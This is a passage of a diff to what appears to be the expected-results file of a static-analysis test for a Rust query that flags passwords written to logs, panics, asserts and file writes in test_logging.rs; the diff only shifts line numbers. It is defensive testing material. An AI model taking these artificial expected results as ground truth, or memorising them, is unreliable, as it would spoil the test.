| ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | | test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | -| test_logging.rs:179:5:179:38 | ...::_print | test_logging.rs:179:30:179:37 | password | test_logging.rs:179:5:179:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:179:30:179:37 | password | password | -| test_logging.rs:180:5:180:38 | ...::_print | test_logging.rs:180:30:180:37 | password | test_logging.rs:180:5:180:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:180:30:180:37 | password | password | -| test_logging.rs:181:5:181:39 | ...::_eprint | test_logging.rs:181:31:181:38 | password | test_logging.rs:181:5:181:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:181:31:181:38 | password | password | -| test_logging.rs:182:5:182:39 | ...::_eprint | test_logging.rs:182:31:182:38 | password | test_logging.rs:182:5:182:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:182:31:182:38 | password | password | -| test_logging.rs:185:16:185:47 | ...::panic_fmt | test_logging.rs:185:39:185:46 | password | test_logging.rs:185:16:185:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:185:39:185:46 | password | password | -| test_logging.rs:186:16:186:46 | ...::panic_fmt | test_logging.rs:186:38:186:45 | password | test_logging.rs:186:16:186:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:186:38:186:45 | password | password | -| test_logging.rs:187:16:187:55 | ...::panic_fmt | test_logging.rs:187:47:187:54 | password | test_logging.rs:187:16:187:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:187:47:187:54 | password | password | -| test_logging.rs:188:16:188:53 | ...::panic_fmt | test_logging.rs:188:45:188:52 | password | test_logging.rs:188:16:188:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:188:45:188:52 | password | password | -| test_logging.rs:189:16:189:55 | ...::panic_fmt | test_logging.rs:189:47:189:54 | password | test_logging.rs:189:16:189:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:189:47:189:54 | password | password | -| test_logging.rs:190:16:190:57 | ...::assert_failed | test_logging.rs:190:49:190:56 | password | test_logging.rs:190:16:190:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:190:49:190:56 | password | password | -| test_logging.rs:191:16:191:57 | ...::assert_failed | test_logging.rs:191:49:191:56 | password | test_logging.rs:191:16:191:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:191:49:191:56 | password | password | -| test_logging.rs:192:16:192:61 | ...::panic_fmt | test_logging.rs:192:53:192:60 | password | test_logging.rs:192:16:192:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:192:53:192:60 | password | password | -| test_logging.rs:193:16:193:63 | ...::assert_failed | test_logging.rs:193:55:193:62 | password | test_logging.rs:193:16:193:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:193:55:193:62 | password | password | -| test_logging.rs:194:17:194:64 | ...::assert_failed | test_logging.rs:194:56:194:63 | password | test_logging.rs:194:17:194:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:194:56:194:63 | password | password | -| test_logging.rs:195:27:195:32 | expect | test_logging.rs:195:58:195:65 | password | test_logging.rs:195:27:195:32 | expect | This operation writes $@ to a log file. | test_logging.rs:195:58:195:65 | password | password | -| test_logging.rs:201:30:201:34 | write | test_logging.rs:201:62:201:69 | password | test_logging.rs:201:30:201:34 | write | This operation writes $@ to a log file. | test_logging.rs:201:62:201:69 | password | password | -| test_logging.rs:202:30:202:38 | write_all | test_logging.rs:202:66:202:73 | password | test_logging.rs:202:30:202:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:202:66:202:73 | password | password | -| test_logging.rs:205:9:205:13 | write | test_logging.rs:205:41:205:48 | password | test_logging.rs:205:9:205:13 | write | This operation writes $@ to a log file. | test_logging.rs:205:41:205:48 | password | password | -| test_logging.rs:208:9:208:13 | write | test_logging.rs:208:41:208:48 | password | test_logging.rs:208:9:208:13 | write | This operation writes $@ to a log file. | test_logging.rs:208:41:208:48 | password | password | +| test_logging.rs:187:5:187:38 | ...::_print | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:5:187:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:187:30:187:37 | password | password | +| test_logging.rs:188:5:188:38 | ...::_print | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:5:188:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:188:30:188:37 | password | password | +| test_logging.rs:189:5:189:39 | ...::_eprint | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:5:189:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:189:31:189:38 | password | password | +| test_logging.rs:190:5:190:39 | ...::_eprint | test_logging.rs:190:31:190:38 | password | test_logging.rs:190:5:190:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:190:31:190:38 | password | password | +| test_logging.rs:193:16:193:47 | ...::panic_fmt | test_logging.rs:193:39:193:46 | password | test_logging.rs:193:16:193:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:193:39:193:46 | password | password | +| test_logging.rs:194:16:194:46 | ...::panic_fmt | test_logging.rs:194:38:194:45 | password | test_logging.rs:194:16:194:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:194:38:194:45 | password | password | +| test_logging.rs:195:16:195:55 | ...::panic_fmt | test_logging.rs:195:47:195:54 | password | test_logging.rs:195:16:195:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:195:47:195:54 | password | password | +| test_logging.rs:196:16:196:53 | ...::panic_fmt | test_logging.rs:196:45:196:52 | password | test_logging.rs:196:16:196:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:196:45:196:52 | password | password | +| test_logging.rs:197:16:197:55 | ...::panic_fmt | test_logging.rs:197:47:197:54 | password | test_logging.rs:197:16:197:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:197:47:197:54 | password | password | +| test_logging.rs:198:16:198:57 | ...::assert_failed | test_logging.rs:198:49:198:56 | password | test_logging.rs:198:16:198:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:198:49:198:56 | password | password | +| test_logging.rs:199:16:199:57 | ...::assert_failed | test_logging.rs:199:49:199:56 | password | test_logging.rs:199:16:199:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:199:49:199:56 | password | password | +| test_logging.rs:200:16:200:61 | ...::panic_fmt | test_logging.rs:200:53:200:60 | password | test_logging.rs:200:16:200:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:200:53:200:60 | password | password | +| test_logging.rs:201:16:201:63 | ...::assert_failed | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:16:201:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:201:55:201:62 | password | password | +| test_logging.rs:202:17:202:64 | ...::assert_failed | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:17:202:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:202:56:202:63 | password | password | +| test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | +| test_logging.rs:209:30:209:34 | write | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:30:209:34 | write | This operation writes $@ to a log file. | test_logging.rs:209:62:209:69 | password | password | +| test_logging.rs:210:30:210:38 | write_all | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:30:210:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:210:66:210:73 | password | password | +| test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | +| test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | edges | test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | @@ -148,73 +148,73 @@ edges | test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | | test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | -| test_logging.rs:179:12:179:37 | MacroExpr | test_logging.rs:179:5:179:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:179:30:179:37 | password | test_logging.rs:179:12:179:37 | MacroExpr | provenance | | -| test_logging.rs:180:14:180:37 | MacroExpr | test_logging.rs:180:5:180:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:180:30:180:37 | password | test_logging.rs:180:14:180:37 | MacroExpr | provenance | | -| test_logging.rs:181:13:181:38 | MacroExpr | test_logging.rs:181:5:181:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:181:31:181:38 | password | test_logging.rs:181:13:181:38 | MacroExpr | provenance | | -| test_logging.rs:182:15:182:38 | MacroExpr | test_logging.rs:182:5:182:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:182:31:182:38 | password | test_logging.rs:182:15:182:38 | MacroExpr | provenance | | -| test_logging.rs:185:23:185:46 | MacroExpr | test_logging.rs:185:16:185:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:185:39:185:46 | password | test_logging.rs:185:23:185:46 | MacroExpr | provenance | | -| test_logging.rs:186:22:186:45 | MacroExpr | test_logging.rs:186:16:186:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:186:38:186:45 | password | test_logging.rs:186:22:186:45 | MacroExpr | provenance | | -| test_logging.rs:187:31:187:54 | MacroExpr | test_logging.rs:187:16:187:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:187:47:187:54 | password | test_logging.rs:187:31:187:54 | MacroExpr | provenance | | -| test_logging.rs:188:29:188:52 | MacroExpr | test_logging.rs:188:16:188:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:188:45:188:52 | password | test_logging.rs:188:29:188:52 | MacroExpr | provenance | | -| test_logging.rs:189:31:189:54 | MacroExpr | test_logging.rs:189:16:189:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:189:47:189:54 | password | test_logging.rs:189:31:189:54 | MacroExpr | provenance | | -| test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | test_logging.rs:190:16:190:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:190:33:190:56 | MacroExpr | test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:190:49:190:56 | password | test_logging.rs:190:33:190:56 | MacroExpr | provenance | | -| test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | test_logging.rs:191:16:191:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:191:33:191:56 | MacroExpr | test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:191:49:191:56 | password | test_logging.rs:191:33:191:56 | MacroExpr | provenance | | -| test_logging.rs:192:37:192:60 | MacroExpr | test_logging.rs:192:16:192:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:192:53:192:60 | password | test_logging.rs:192:37:192:60 | MacroExpr | provenance | | -| test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | test_logging.rs:193:16:193:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:193:39:193:62 | MacroExpr | test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:193:55:193:62 | password | test_logging.rs:193:39:193:62 | MacroExpr | provenance | | -| test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | test_logging.rs:194:17:194:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:194:40:194:63 | MacroExpr | test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:194:56:194:63 | password | test_logging.rs:194:40:194:63 | MacroExpr | provenance | | -| test_logging.rs:195:34:195:66 | res | test_logging.rs:195:42:195:65 | { ... } | provenance | | -| test_logging.rs:195:34:195:75 | ... .as_str() | test_logging.rs:195:27:195:32 | expect | provenance | MaD:1 Sink:MaD:1 | -| test_logging.rs:195:42:195:65 | ...::format(...) | test_logging.rs:195:34:195:66 | res | provenance | | -| test_logging.rs:195:42:195:65 | ...::must_use(...) | test_logging.rs:195:34:195:75 | ... .as_str() | provenance | MaD:12 | -| test_logging.rs:195:42:195:65 | MacroExpr | test_logging.rs:195:42:195:65 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:195:42:195:65 | { ... } | test_logging.rs:195:42:195:65 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:195:58:195:65 | password | test_logging.rs:195:42:195:65 | MacroExpr | provenance | | -| test_logging.rs:201:36:201:70 | res | test_logging.rs:201:44:201:69 | { ... } | provenance | | -| test_logging.rs:201:36:201:81 | ... .as_bytes() | test_logging.rs:201:30:201:34 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:201:44:201:69 | ...::format(...) | test_logging.rs:201:36:201:70 | res | provenance | | -| test_logging.rs:201:44:201:69 | ...::must_use(...) | test_logging.rs:201:36:201:81 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:201:44:201:69 | MacroExpr | test_logging.rs:201:44:201:69 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:201:44:201:69 | { ... } | test_logging.rs:201:44:201:69 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:201:62:201:69 | password | test_logging.rs:201:44:201:69 | MacroExpr | provenance | | -| test_logging.rs:202:40:202:74 | res | test_logging.rs:202:48:202:73 | { ... } | provenance | | -| test_logging.rs:202:40:202:85 | ... .as_bytes() | test_logging.rs:202:30:202:38 | write_all | provenance | MaD:6 Sink:MaD:6 | -| test_logging.rs:202:48:202:73 | ...::format(...) | test_logging.rs:202:40:202:74 | res | provenance | | -| test_logging.rs:202:48:202:73 | ...::must_use(...) | test_logging.rs:202:40:202:85 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:202:48:202:73 | MacroExpr | test_logging.rs:202:48:202:73 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:202:48:202:73 | { ... } | test_logging.rs:202:48:202:73 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:202:66:202:73 | password | test_logging.rs:202:48:202:73 | MacroExpr | provenance | | -| test_logging.rs:205:15:205:49 | res | test_logging.rs:205:23:205:48 | { ... } | provenance | | -| test_logging.rs:205:15:205:60 | ... .as_bytes() | test_logging.rs:205:9:205:13 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:205:23:205:48 | ...::format(...) | test_logging.rs:205:15:205:49 | res | provenance | | -| test_logging.rs:205:23:205:48 | ...::must_use(...) | test_logging.rs:205:15:205:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:205:23:205:48 | MacroExpr | test_logging.rs:205:23:205:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:205:23:205:48 | { ... } | test_logging.rs:205:23:205:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:205:41:205:48 | password | test_logging.rs:205:23:205:48 | MacroExpr | provenance | | -| test_logging.rs:208:15:208:49 | res | test_logging.rs:208:23:208:48 | { ... } | provenance | | -| test_logging.rs:208:15:208:60 | ... .as_bytes() | test_logging.rs:208:9:208:13 | write | provenance | MaD:4 Sink:MaD:4 | -| test_logging.rs:208:23:208:48 | ...::format(...) | test_logging.rs:208:15:208:49 | res | provenance | | -| test_logging.rs:208:23:208:48 | ...::must_use(...) | test_logging.rs:208:15:208:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:208:23:208:48 | MacroExpr | test_logging.rs:208:23:208:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:208:23:208:48 | { ... } | test_logging.rs:208:23:208:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:208:41:208:48 | password | test_logging.rs:208:23:208:48 | MacroExpr | provenance | | +| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | +| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:188:30:188:37 | password | test_logging.rs:188:14:188:37 | MacroExpr | provenance | | +| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:189:31:189:38 | password | test_logging.rs:189:13:189:38 | MacroExpr | provenance | | +| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:190:31:190:38 | password | test_logging.rs:190:15:190:38 | MacroExpr | provenance | | +| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:193:39:193:46 | password | test_logging.rs:193:23:193:46 | MacroExpr | provenance | | +| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:194:38:194:45 | password | test_logging.rs:194:22:194:45 | MacroExpr | provenance | | +| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:195:47:195:54 | password | test_logging.rs:195:31:195:54 | MacroExpr | provenance | | +| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:196:45:196:52 | password | test_logging.rs:196:29:196:52 | MacroExpr | provenance | | +| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:197:47:197:54 | password | test_logging.rs:197:31:197:54 | MacroExpr | provenance | | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:198:33:198:56 | MacroExpr | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:198:49:198:56 | password | test_logging.rs:198:33:198:56 | MacroExpr | provenance | | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:199:33:199:56 | MacroExpr | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:199:49:199:56 | password | test_logging.rs:199:33:199:56 | MacroExpr | provenance | | +| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:200:53:200:60 | password | test_logging.rs:200:37:200:60 | MacroExpr | provenance | | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:201:39:201:62 | MacroExpr | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:201:55:201:62 | password | test_logging.rs:201:39:201:62 | MacroExpr | provenance | | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:202:40:202:63 | MacroExpr | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:202:56:202:63 | password | test_logging.rs:202:40:202:63 | MacroExpr | provenance | | +| test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | +| test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:12 | +| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | +| test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | +| test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | +| test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | +| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | +| test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | +| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | +| test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | +| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | | 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | @@ -352,90 +352,90 @@ nodes | test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | | test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | -| test_logging.rs:179:5:179:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:179:12:179:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:179:30:179:37 | password | semmle.label | password | -| test_logging.rs:180:5:180:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:180:14:180:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:180:30:180:37 | password | semmle.label | password | -| test_logging.rs:181:5:181:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:181:13:181:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:181:31:181:38 | password | semmle.label | password | -| test_logging.rs:182:5:182:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:182:15:182:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:182:31:182:38 | password | semmle.label | password | -| test_logging.rs:185:16:185:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:185:23:185:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:185:39:185:46 | password | semmle.label | password | -| test_logging.rs:186:16:186:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:186:22:186:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:186:38:186:45 | password | semmle.label | password | -| test_logging.rs:187:16:187:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:187:31:187:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:187:47:187:54 | password | semmle.label | password | -| test_logging.rs:188:16:188:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:188:29:188:52 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:188:45:188:52 | password | semmle.label | password | -| test_logging.rs:189:16:189:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:189:31:189:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:189:47:189:54 | password | semmle.label | password | -| test_logging.rs:190:16:190:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:190:33:190:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:190:49:190:56 | password | semmle.label | password | -| test_logging.rs:191:16:191:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:191:33:191:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:191:49:191:56 | password | semmle.label | password | -| test_logging.rs:192:16:192:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:192:37:192:60 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:192:53:192:60 | password | semmle.label | password | -| test_logging.rs:193:16:193:63 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:193:39:193:62 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:193:55:193:62 | password | semmle.label | password | -| test_logging.rs:194:17:194:64 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:194:40:194:63 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:194:56:194:63 | password | semmle.label | password | -| test_logging.rs:195:27:195:32 | expect | semmle.label | expect | -| test_logging.rs:195:34:195:66 | res | semmle.label | res | -| test_logging.rs:195:34:195:75 | ... .as_str() | semmle.label | ... .as_str() | -| test_logging.rs:195:42:195:65 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:195:42:195:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:195:42:195:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:195:42:195:65 | { ... } | semmle.label | { ... } | -| test_logging.rs:195:58:195:65 | password | semmle.label | password | -| test_logging.rs:201:30:201:34 | write | semmle.label | write | -| test_logging.rs:201:36:201:70 | res | semmle.label | res | -| test_logging.rs:201:36:201:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:201:44:201:69 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:201:44:201:69 | ...::must_use(...) | semmle.label | 